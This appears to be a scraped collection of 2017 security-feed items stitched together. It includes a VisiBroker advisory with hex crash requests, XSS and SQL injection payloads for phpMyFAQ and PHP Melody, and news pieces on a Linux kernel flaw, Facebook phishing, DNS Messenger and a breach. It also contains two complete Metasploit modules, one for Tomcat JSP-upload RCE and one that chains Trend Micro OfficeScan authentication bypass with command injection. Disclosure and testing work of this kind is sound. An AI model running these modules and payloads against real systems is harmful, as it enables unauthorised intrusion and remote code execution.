Micro Focus VisiBroker C++ version 8.5 SP2 suffers from multiple memory corruption vulnerabilities. SEC Consult Vulnerability Lab Security Advisory < 20171016-0 > ======================================================================= title: Multiple vulnerabilities product: Micro Focus VisiBroker C++ vulnerable version: 8.5 SP2 fixed version: 8.5 SP4 HF3 CVE number: CVE-2017-9281, CVE-2017-9282, CVE-2017-9283 impact: High homepage: https://www.microfocus.com/products/corba/visibroker/ found: 2017-04 by: W. Ettlinger (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "VisiBroker(TM) is a comprehensive CORBA environment for developing, deploying, and managing distributed applications. Built on open industry standards and a high-performance architecture, VisiBroker is especially suited to low-latency, complex, data-oriented, transaction-intensive, mission-critical environments. Using VisiBroker(R), organizations can develop, connect, and deploy complex distributed applications that have to meet very high performance and reliability standards. With more than 30 million licenses in use, VisiBroker is the worldas most widely deployed CORBA Object Request Broker (ORB) infrastructure." URL: https://www.microfocus.com/products/corba/visibroker/ Business recommendation: ------------------------ During a superficial fuzzing test, SEC Consult found several memory corruption vulnerabilities that allow denial of service attacks or potentially arbitrary code execution. Although the fuzzing test only had a very limited coverage, several vulnerabilities have been identified. Assuming the code quality is homogenous, it is possible that other parts of the application exhibit similar issues. SEC Consult did not attempt to fully evaluate the potential impact of the identified vulnerabilities. SEC Consult recommends to decommission any VisiBroker C++ component that communicates with untrusted entities until a full security audit has been performed. Moreover, SEC Consult recommends to restrict network access to all CORBA services that utilize the VisiBroker C++ environment. Vulnerability overview/description: ----------------------------------- 1) Integer Overflow / Out of Bounds Read (Denial of Service) [CVE-2017-9281] By specifying a large value for a length field, an integer overflow occurs. As a result, the application reads memory until a non-mapped memory region is reached. This causes the application to encounter a segmentation fault. 2) Integer Overflow (Heap Overwrite) [CVE-2017-9282] By specifying a manipulated value for a length field an attacker can cause an integer overflow. This causes the application to allocate too little memory. When the application attempts to write to this memory buffer, heap memory is overwritten leading to denial of service or potentially arbitrary code execution. 3) Out of Bounds Read [CVE-2017-9283] By specifying a manipulated value for a length field, an attacker can cause the application to read past an allocated memory region. 4) Use after Free SEC Consult found that the application under certain circumstances tries to access a memory region that has been deallocated before. It is unclear whether Micro Focus fixed the root cause of this behaviour. As the vendor was unable to reproduce the vulnerability in the current version, Micro Focus believes that the vulnerability was fixed with a previous update. Since SEC Consult is unsure whether Micro Focus found the root cause of the vulnerability, we refrain from releasing proof of concept code. Proof of concept: ----------------- A service implementing the following IDL was used to identify the vulnerabilities listed here: module Bank { interface Account { float balance(in string test); }; interface AccountManager { Account open(in string name); }; }; The implemented service was based on the Visibroker example project "bank_agent". 1) Integer Overflow / Out of Bounds Read (Denial of Service) The method CORBA_MarshalOutBuffer *__cdecl CORBA_MarshalOutBuffer::put( CORBA_MarshalOutBuffer *this, const char *src, unsigned int size) is used to copy/append a char[] into a buffer. If the size of the data that is stored in the buffer plus the size of the char[] to be appended exceeds the allocated size, the method reallocates the buffer. By choosing the size of the char[] as e.g. 0xffffffff (on 32 bit systems) an integer overflow can be caused. The method then continues without allocating additional memory. However, the application then expects that the source buffer contains 0xffffffff bytes of memory. Since this would exceed the available process memory on 32 bit systems, the application's attempt to copy data to the destination buffer fails with an out of bounds read. The following binary request demonstrates this issue for the IDL above: 47494f5001020000000000860000000203000000000000000000002b00504d430000000400000010 2f62616e6b5f6167656e745f706f610000ffffff42616e6b4d616e6167657200000000056f70656e 0000000000000002000000010000000c000000000001000100010109564953060000000500070801 83000000000000000000000e4a61636b20422e20517569636b00 2) Integer Overflow (Heap Overwrite) The method int __cdecl CORBA::string_alloc(unsigned int size) is used to allocate buffers for strings. Since it allocates size + 1 bytes of heap memory, specifying 0xffffffff causes an integer overflow leading to the allocation of 0 bytes. This causes heap memory to be overwritten. SEC Consult was able to use the following request to cause corruption of heap structures: 47494f5001020000000000860000000203000000000000000000002b00504d430000000400000010 2f62616e6b5f6167656e745f706f61000000000b42616e6b4d616e6167657200000000056f70656e 0000000000000002000000010000000c000000000001000100010109564953060000000500070801 8300000000000000ffffffff4a61636b20422e20517569636b00 3) Out of Bounds Read The constructor int __cdecl VISServiceId::VISServiceId( VISServiceId *this, CORBA_MarshalInBuffer *a2, unsigned __int32 a3, unsigned __int8 *a4) parses the GIOP key address. The VisiBroker key address consists of two strings. Before each string, a long (32 bit) value specifies the length of the string. To calculate the offset of the second string, the size of the first string is used. If this value is chosen so that the offset of the second string is outside of the GIOP message, an out of bounds read occurs. The following binary request demonstrates this issue for the IDL above: 47494f5001020000000000860000000203000000000000000000002b00504d430000000480000000 2f62616e6b5f6167656e745f706f61000000000b42616e6b4d616e6167657200000000056f70656e 0000000000000002000000010000000c000000000001000100010109564953060000000500070801 83000000000000000000000e4a61636b20422e20517569636b00 4) Use after Free / Denial of Service Micro Focus did not clearly state that the root cause of the vulnerability has been fixed. As a precaution we refrain from releasing proof of concept code. Vulnerable / tested versions: ----------------------------- At least VisiBroker C++ 8.5 SP2 has been found to be vulnerable. According to the vendor VisiBroker 8.5 prior to SP4 HF3 are vulnerable to issues #1 - #3. Vendor contact timeline: ------------------------ 2017-05-03: Contacting vendor through security@microfocus.com, attaching encrypted security advisory 2017-05-03: Vendor: will inform us about the timeframe once the findings have been reproduced 2017-05-26: Vendor: were able to reproduce first 3 issues; requested further information for vulnerability #4 2017-05-30: Providing further information for vulnerability #4 2017-06-21: Requesting status update 2017-06-28: Vendor: First three issues have been fixed by the development team, "They have reproduced the fourth and are working on it now." 2017-06-30: Vendor: Patch will be available in a few weeks 2017-07-28: Requesting status update 2017-08-02: Vendor: There is no fixed release date for the patch yet 2017-08-28: Vendor: Initial test run found an issue that has been fixed 2017-09-15: Requesting status update 2017-09-15: Vendor: "The patches were just released on the 12th and 13th" 2017-09-18: Asking for further information about CVEs, affected versions 2017-09-21: Vendor: Issue #4 has not been fixed since the team was unable to reproduce it (the vendor stated that the issue has been reproduced, see 2017-06-26). "They [the team] believe it was already fixed by an earlier modification." 2017-09-27: Requesting clarification for issue #4 2017-09-27: Vendor: The team initially thought they had reproduced the issue; this was an unrelated issue that was fixed as well. 2017-10-16: Public release of the advisory; Solution: --------- Upgrade to version 8.5 Service Pack 4 Hotfix 3. The release notes with information on how to obtain this hotfix can be obtained here: https://community.microfocus.com/microfocus/corba/visibroker_-_world_class_middleware/w/knowledge_base/29171/visibroker-8-5-service-pack-4-hotfix-3-security-fixes Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF W. Ettlinger / @2017 Source

Security researchers have discovered a new privilege-escalation vulnerability in Linux kernel that could allow a local attacker to execute code on the affected systems with elevated privileges. Discovered by Venustech ADLab (Active-Defense Lab) researchers, the Linux kernel vulnerability (CVE-2017-15265) is due to a use-after-free memory error in the Advanced Linux Sound Architecture (ALSA) sequencer interface of the affected application. The Advanced Linux Sound Architecture (ALSA) provides audio and MIDI functionality to the Linux operating system, and also bundles a userspace driven library for application developers, enabling direct (kernel) interaction with sound devices through ALSA libraries. Successful exploitation of this vulnerability requires an attacker—with local access on the targeted system—to execute a maliciously crafted application on a targeted system, which allows the attacker to elevate his privilege to root on the targeted system, a Cisco advisory warned. The vulnerability affects major distributions of the Linux operating system including RedHat, Debian, Ubuntu, and Suse, and is triggered by a slip in snd_seq_create_port(). The vulnerability has been patched in Linux kernel version 4.13.4-2, which was fixed just by taking the refcount properly at "snd_seq_create_port()" and letting the caller unref the object after use. Administrators are advised to apply the appropriate updates on their Linux distributions as soon as they receive them from their respective distro. They're also recommended to allow only trusted users to access local systems and always monitor affected systems. This flaw is yet another privilege escalation vulnerability recently uncovered in the Linux kernel. Last month, a high-risk 2-year-old potential local privilege escalation flaw was patched in the Linux kernel that affected all major Linux distributions, including Red Hat, Debian, and CentOS. In February, another privilege-escalation vulnerability that dates back to 2011 disclosed and patched in the Linux kernel which also affected major Linux distro, including Redhat, Debian, OpenSUSE, and Ubuntu. Via thehackernews.com

# Exploit Title: phpMyFAQ 2.9.8 Stored XSS # Vendor Homepage: http://www.phpmyfaq.de/ # Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip # Exploit Author: Ishaq Mohammed # Contact: https://twitter.com/security_prince # Website: https://about.me/security-prince # Category: webapps # CVE: CVE-2017-14619 1. Description Cross-site scripting (XSS) vulnerability in phpMyFAQ through 2.9.8 allows remote attackers to inject arbitrary web script or HTML via the "Title of your FAQ" field in the Configuration Module. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14619 2. Proof of Concept Steps to Reproduce: 1. Open the affected link http://localhost/phpmyfaq/admin/?action=config with logged in user with administrator privileges 2. Enter the <marquee onscroll=alert(document.cookie)> in the “Title of your FAQ field” 3. Save the Configuration 4. Login using any other user or simply click on the phpMyFAQ on the top-right hand side of the web portal 3. Solution: The Vulnerability will be fixed in the next release of phpMyFAQ # 0day.today [2017-10-13] # Source: 0day.today

This Metasploit module uploads a jsp payload and executes it. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Tomcat RCE via JSP Upload Bypass', 'Description' => %q{ This module uploads a jsp payload and executes it. }, 'Author' => 'peewpw', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-12617' ], [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ], [ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ] ], 'Privileged' => false, 'Platform' => %w{ linux win }, # others? 'Targets' => [ [ 'Automatic', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ], [ 'Java Windows', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ], [ 'Java Linux', { 'Arch' => ARCH_JAVA, 'Platform' => 'linux' } ] ], 'DisclosureDate' => 'Oct 03 2017', 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]), Opt::RPORT(8080) ]) end def check testurl = Rex::Text::rand_text_alpha(10) testcontent = Rex::Text::rand_text_alpha(10) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"), 'method' => 'PUT', 'data' => "<% out.println(\"#{testcontent}\");%>" }) res1 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"), 'method' => 'GET' }) if res1 && res1.body.include?(testcontent) send_request_cgi( opts = { 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"), 'method' => 'DELETE' }, timeout = 1 ) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status("Uploading payload...") testurl = Rex::Text::rand_text_alpha(10) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"), 'method' => 'PUT', 'data' => payload.encoded }) if res && res.code == 201 res1 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"), 'method' => 'GET' }) if res1 && res1.code == 200 print_status("Payload executed!") else fail_with(Failure::PayloadFailed, "Failed to execute the payload") end else fail_with(Failure::UnexpectedReply, "Failed to upload the payload") end end end # 0day.today [2017-10-13] # Source: 0day.today

Earlier this month, Access Now’s Digital Security Helpline began to get reports of hacked Facebook accounts that allowed us to identify a new method for targeted “phishing,” also known as “spear phishing.” Today, we’re publishing details of the attack so that users are better informed and able to identify this attack. Phishing is a method of obtaining unauthorized access to an account or service by tricking an authorized user into providing their credentials. This is usually done through mass spam messages. Spear phishing is an attack that targets a particular person and uses special messages that are more likely to appear genuine to a specific person. Read more about a recent spear phishing attack here. The new attack targets people using Facebook, and it relies on your lack of knowledge about the platform’s “Trusted Contacts” feature. Trusted Contacts is a system created by Facebook to help you gain access to your account if you forget your password or your account is locked. If you enable Trusted Contacts, Facebook will ask you to identify three to five people. If you need access to your account, Facebook will send part of a code to each of these users that can be combined to gain access to your account. Anyone who has a Facebook account could fall victim to the attack, but so far we’re seeing the majority of reports from human right defenders and activists from the Middle East and North Africa. How the attacks works Here’s how the attacker attempts to exploit your trust in order to extract the information needed to steal your account: You get a message from an attacker on Facebook Messenger, who is using the compromised account of someone on your Friends list. The attacker asks for your help recovering their account, explaining that you are listed as one of their Trusted Contacts on Facebook, and tells you that you will receive a code for recovering their account. Then the attacker triggers the “I forgot my password” feature for your Facebook account and requests a recovery code. In an effort to help, you send the code you’ve just received to your “friend.” Using the code, the attacker can now steal your account from you, and use it to victimize other people. For visual learners, see here. In the cases we have observed, the attacker doesn’t stop after compromising just one account. It’s replicated across users’ social networks. When a message comes from a “friend,” people tend to trust it. That makes it an especially effective attack vector. How to defend yourself against attack To help you stay safe, we encourage you to follow these recommendations: Treat urgent, unexpected messages with suspicion: Phishing messages often appear to come from a trusted friend. But if you get an odd message, ask yourself, are you already aware of being on a list of “Trusted Contacts” for any of your Facebook friends? Confirm with your friend: Try to verify your friend’s identity by telephone or in person. Act slowly and with caution. Attacks are always evolving. In general, try to stay calm when you get a message where the sender appears to want to trigger a strong emotional reaction, like anger or fear. This might make you think you have to hurry, and it could impair your ability to evaluate the situation objectively. Don’t panic. Figure out what is really happening before you take action. Learn how “Trusted Contacts” actually works: It doesn’t work the way the phishing message in this attack suggests. We explain the details below. How Facebook’s “Trusted Contacts” feature really works Here are the basics: What is the Trusted Contacts feature? It’s an account recovery feature in Facebook that’s aimed at helping you regain access to your Facebook account and the email accounts and phone numbers linked to it. How does the Trusted Contacts feature work? To activate this feature, you select three to five of your Facebook friends. If you lose access to your account, these friends can generate codes from their Facebook account and forward them to you. Note: Facebook does not send these text messages to your friends. It’s your friends who need to generate the codes for you, as shown in the screenshot below: What to do if you get a message like the one we describe If you get a message like the one we describe, asking you to send a message with a code from Facebook, don’t send anything to your “friend.” Instead, report the account here as soon as possible. If you need any help because your account has been hijacked, through this or any other attack vector, we encourage you to contact us at the Digital Security Helpline. We’re here every day, and no matter when you reach out, one of our incident handlers will reply to you within two hours. Here’s a step-by-step guide for contacting us, and you have the option of sending an email, encrypted if you desire, to help @ accessnow . org. Here’s a visual to help illustrate the attack. Please spread the word! Via accessnow.org

Researchers have discovered a new version of the DNS Messenger attack which masquerades as the US Securities and Exchange Commission (SEC) and hosts malware on compromised government servers. On Wednesday, security researches from Cisco Talos revealed the results of an investigation into DNS Messenger, a fileless attack which uses DNS queries to push malicious PowerShell commands on compromised computers. A new version of this attack, which the team say is "highly targeted in nature," now attempts to compromise victim systems by pretending to be the SEC Electronic Data Gathering Analysis, and Retrieval (EDGAR) system -- recently at the heart of a data breach related to financial fraud -- in specially crafted phishing email campaigns. These spoofed emails made them seem legitimate, but should a victim open them and download a malicious attachment contained within, a "multi-stage infection process" begins. The malicious attachments used in this campaign are Microsoft Word documents. However, rather than using macros or OLE objects to gain a foothold into a system, the threat actors used a less common method of infection, Dynamic Data Exchange (DDE), to perform code execution and install a remote access Trojan (RAT). It is important to note that Microsoft says that DDE is not an exploitable issue, but rather a feature "by design," and will not be removed. Talos disagrees, and claims that the team has witnessed DDE "actively being used by attackers in the wild, as demonstrated in this attack." According to Talos, the latest malware campaign is similar to its last evolution. The infection process uses DNS TXT records to create a bidirectional command-and-control (C2) channel, in which attackers are able to interact with the Windows Command Processor using the contents of DNS TXT record queries and responses generated from the threat actor's DNS server. When opened, users are asked to permit external links to be retrieved. Should they agree, the malicious document reaches out to an attacker-controlled command-and-control (C&C) server which executes the first malware infection. This malware was initially hosted on a Louisiana state government website, "seemingly compromised and used for this purpose," according to the team. Speaking to ZDNet, Craig Williams, Senior Technical Leader at Cisco Talos said that by the time the findings were made public, the files were removed from the server. PowerShell commands then come into play. Code is retrieved, obfuscated, and then executed, which kicks off persistence on systems, registry rewrites, scheduled task creation, and DNS requests are made. "In this particular case, the malware featured the capability to leverage WMI, ADS, scheduled tasks, as well as registry keys to obtain persistence," the researchers note. "The use of DNS as a conveyance for later stage code and C2 communications is also becoming more and more commonplace." While the team was unable to obtain the next stage of PowerShell code from the C2 servers, Talos says it is likely that communications are restricted to prevent security researchers from being able to track the team and their techniques further, making it more likely that their DNS-based attacks can fly under the radar for longer periods. However, according to researcher Anthony Yates, he was able to secure the final payload by analyzing some of the findings. Yates says that the payload is typical C&C bot code, and includes information gathering commands -- suggesting the purpose of the DNS attack is for cyberespionage. "Attackers often employ multiple layers of obfuscation in an attempt to make analysis more difficult, evade detection and prevention capabilities, and continue to operate under the radar by limiting their attacks to only the organizations that they are targeting," Talos says. "It is also important for organizations to be aware of some of the more interesting techniques that malware is using to execute malicious code on systems and gain persistence on systems once they are infected." Via zdnet.com

Vulnerabilities Summary The following advisory describes three (3) vulnerabilities found in PHP Melody version 2.7.3. PHP Melody is a “self-hosted Video CMS which evolved over the last 9 years. SEO optimization, unbeaten security and speed are advantages you no longer have to compromise on. A truly great CMS should help you save time and make your life easier not complicate it. Nobody enjoys spending time and money on inferior solutions. If you value your time, don’t settle for anything but the best video CMS with a proven track record, constant support and updates.” The vulnerabilities found in PHP Melody are: Stored PreAuth XSS that leads to administrator account takeover SQL Injection (1) SQL Injection (2) Credit An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. Vendor response PHP Melody has released patches to address this vulnerability. For more information: http://www.phpsugar.com/blog/2017/10/php-melody-v2-7-3-maintenance-release/ Vulnerabilities details Stored PreAuth XSS that leads to administrator account takeover User controlled input is not sufficiently sanitized, such that by sending a POST request to page_manager.php with the following parameters (vulnerable parameter – page_title) page_manager.php?do=new&id=&author=&showinmenu=0&meta_keywords=555-555-0199@example.com&status=0&submit=Publish&page_name=Peter+Winter&page_title=408b7<script>alert(1)<%2fscript>f2faf An attacker can trigger the vulnerability and when administrator/moderator/editor or anyone with privileges visits Admin access /admin/pages.php?page=1 the payload is triggered and the alert is executed. SQL Injection (1) User controlled input is not sufficiently sanitized, by sending a POST request to /phpmelody/admin/edit_category.php with the following parameters: category=3&meta_keywords=555-555-0199@example.com&tag=categoryone&save=Save$name=Sample+Category+%231&image='&meta_title=555-555-0199@example.com The vulnerable parameter is the POST “image” parameter. We can send a single quote (‘) to verify and the server will respond with an SQL error. We can inject SQL Queries here or extract data. This attack requires an admin/modernator or editor to visit a malicious website that will submit the form with a malicious “image” parameter as an Injection SQL Injection (2) SQL Injection is on a cookie-value and can be exploited without any user interaction. The cookie value “aa_pages_per_page” is the vulnerable parameter and we can use time based SQL Injection techniques to verify, The payload we used ‘ AND benchmark(20000000%2csha1(1))—makes the server sleep for a long time (5-20 seconds). Source: https://blogs.securiteam.com/index.php/archives/3464

Latin American social site Taringa, often called ‘Latin America’s Reddit’, has suffered a massive breach of user data. Login details for nearly all of the site’s users were compromised. The social site had instituted a system in 2015 to pay users for content production using Bitcoin. The site partnered with Xapo to create digital wallets for content producers, and then began funding them with Bitcoin for participation. Wallet balances of the individual users will likely be low, but the massive hack of data may well allow access to those wallets. With prices having increased dramatically since 2015, the original payments that remained intact are likely of some substantial value. Under-encrypted Taringa was using an aging encryption system for passwords called MD5. The hackers were able to crack 95% of the 27 mln passwords within just a few days. Taringa has assured customers that wallet addresses were not compromised, though the surety of the promise remains in question. The information post says: Users should move Bitcoin balances into other wallets for protection, especially if they had used the same password for their wallet as for their Taringa account, a common practice. Via cointelegraph.com

OS X Auditor is a free Mac OS X computer forensics tool. OS X Auditor parses and hashes the following artifacts on the running system or a copy of a system you want to analyze: the kernel extensions the system agents and daemons the third party's agents and daemons the old and deprecated system and third party's startup items the users' agents the users' downloaded files the installed applications It extracts: the users' quarantined files the users' Safari history, downloads, topsites, LastSession, HTML5 databases and localstore the users' Firefox cookies, downloads, formhistory, permissions, places and signons the users' Chrome history and archives history, cookies, login data, top sites, web data, HTML5 databases and local storage the users' social and email accounts the WiFi access points the audited system has been connected to (and tries to geolocate them) It also looks for suspicious keywords in the .plist themselves. It can verify the reputation of each file on: Team Cymru's MHR VirusTotal your own local database It can aggregate all logs from the following directories into a zipball: /var/log (-> /private/var/log) /Library/logs the user's ~/Library/logs Finally, the results can be: rendered as a simple txt log file (so you can cat-pipe-grep in them… or just grep) rendered as a HTML log file sent to a Syslog server Author Jean-Philippe Teissier - @Jipe_ & al. Support OS X Auditor started as a week-end project and is now barely maintained. It has been forked by the great guys @ Yelp who created osxcollector. If you are looking for a production / corporate solution I do recommend you to move to osxcollector (https://github.com/Yelp/osxcollector) How to install Just copy all files from GitHub. Dependencies If you plan to run OS X Auditor on a Mac, you will get a full plist parsing support with the OS X Foundation through pyobjc: pip install pyobjc If you can't install pyobjc or if you plan to run OS X Auditor on another OS than Mac OS X, you may experience some troubles with the plist parsing: pip install biplist pip install plist These dependencies will be removed when a working native plist module will be available in python How to run OS X Auditor runs well with python >= 2.7.2 (2.7.9 is OK). It does not run with a different version of python yet (due to the plist nightmare) OS X Auditor is maintained to work on the lastest OS X version. It will do its best on older OS X versions. You must run it as root (or via sudo) if you want to use is on a running system, otherwise it won't be able to access some system and other users' files If you're using API keys from environment variables (see below), you need to use the sudo -E to use the users environment variables Type osxauditor.py -h to get all the available options, then run it with the selected options eg. [sudo -E] python osxauditor.py -a -m -l localhashes.db -H log.html Setting Environment Variables VirusTotal API: export VT_API_KEY=aaaabbbbccccddddeeee Changelog Download: OSXAuditor-master.zip or git clone https://github.com/jipegit/OSXAuditor.git Source: https://github.com/jipegit/OSXAuditor

This Metasploit module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user. The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => "Trend Micro OfficeScan Remote Code Execution", 'Description' => %q{ This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user. The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <mr_me@offensive-security.com>', # author of command injection 'Mehmet Ince <mehmet@mehmetince.net>' # author of authentication bypass & msf module ], 'References' => [ ['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'], ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => ['win'], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ ['Automatic Targeting', { 'auto' => true }], ['OfficeScan 11', {}], ['OfficeScan XG', {}], ], 'Privileged' => false, 'DisclosureDate' => "Oct 7 2017", 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the Trend Micro OfficeScan management interface', '/']) ] ) end def build_csrftoken(my_target, phpsessid=nil) vprint_status("Building csrftoken") if my_target.name == 'OfficeScan XG' csrf_token = Rex::Text.md5(Time.now.to_s) else csrf_token = phpsessid.scan(/PHPSESSID=([a-zA-Z0-9]+)/).flatten[0] end csrf_token end def auto_target #XG version of the widget library has package.json within the same directory. mytarget = target if target['auto'] && target.name =~ /Automatic/ print_status('Automatic targeting enabled. Trying to detect version.') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'package.json'), }) if res && res.code == 200 mytarget = targets[2] elsif res && res.code == 404 mytarget = targets[1] else fail_with(Failure::Unknown, 'Unable to automatically select a target') end print_status("Selected target system : #{mytarget.name}") end mytarget end def auth(my_target) # Version XG performs MD5 validation on wf_CSRF_token parameter. We can't simply use PHPSESSID directly because it contains a-zA-Z0-9. # Beside that, version 11 use PHPSESSID value as a csrf token. Thus, we are manually crafting the cookie. if my_target.name == 'OfficeScan XG' csrf_token = build_csrftoken(my_target) cookie = "LANG=en_US; LogonUser=root; userID=1; wf_CSRF_token=#{csrf_token}" # Version 11 want to see valid PHPSESSID from beginning to the end. For this reason we need to force backend to initiate one for us. else vprint_status("Sending session initiation request for : #{my_target.name}.") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'index.php'), }) cookie = "LANG=en_US; LogonUser=root; userID=1; #{res.get_cookies}" csrf_token = build_csrftoken(my_target, res.get_cookies) end # Okay, we dynamically generated a cookie and csrf_token values depends on OfficeScan version. # Now we need to exploit authentication bypass vulnerability. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'ui', 'modLogin', 'talker.php'), 'headers' => { 'X-CSRFToken' => csrf_token, 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8' }, 'cookie' => cookie, 'vars_post' => { 'cid' => '1', 'act' => 'check', 'hash' => Rex::Text.rand_text_alpha(10), 'pid' => '1' } }) if res && res.code == 200 && res.body.include?('login successfully') # Another business logic in here. # Version 11 want to use same PHPSESSID generated at the beginning by hitting index.php # Version XG want to use newly created PHPSESSID that comes from auth bypass response. if my_target.name == 'OfficeScan XG' res.get_cookies else cookie end else nil end end def check my_target = auto_target token = auth(my_target) # If we dont have a cookie that means authentication bypass issue has been patched on target system. if token.nil? Exploit::CheckCode::Safe else # Authentication bypass does not mean that we have a command injection. # Accessing to the widget framework without having command injection means literally nothing. # So we gonna trigger command injection vulnerability without a payload. csrf_token = build_csrftoken(my_target, token) vprint_status('Trying to detect command injection vulnerability') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'), 'headers' => { 'X-CSRFToken' => csrf_token, 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8' }, 'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{token}", 'vars_post' => { 'module' => 'modTMCSS', 'serverid' => '1', 'TOP' => '' } }) if res && res.code == 200 && res.body.include?('Proxy execution failed: exec report.php failed') Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end end def exploit mytarget = auto_target print_status('Exploiting authentication bypass') cookie = auth(mytarget) if cookie.nil? fail_with(Failure::NotVulnerable, "Target is not vulnerable.") else print_good("Authenticated successfully bypassed.") end print_status('Generating payload') powershell_options = { encode_final_payload: true, remove_comspec: true } p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options) # We need to craft csrf value for version 11 again like we did before at auth function. csrf_token = build_csrftoken(mytarget, cookie) print_status('Trigerring command injection vulnerability') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'), 'headers' => { 'X-CSRFToken' => csrf_token, 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8' }, 'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{cookie}", 'vars_post' => { 'module' => 'modTMCSS', 'serverid' => '1', 'TOP' => "2>&1||#{p}" } }) end end Source

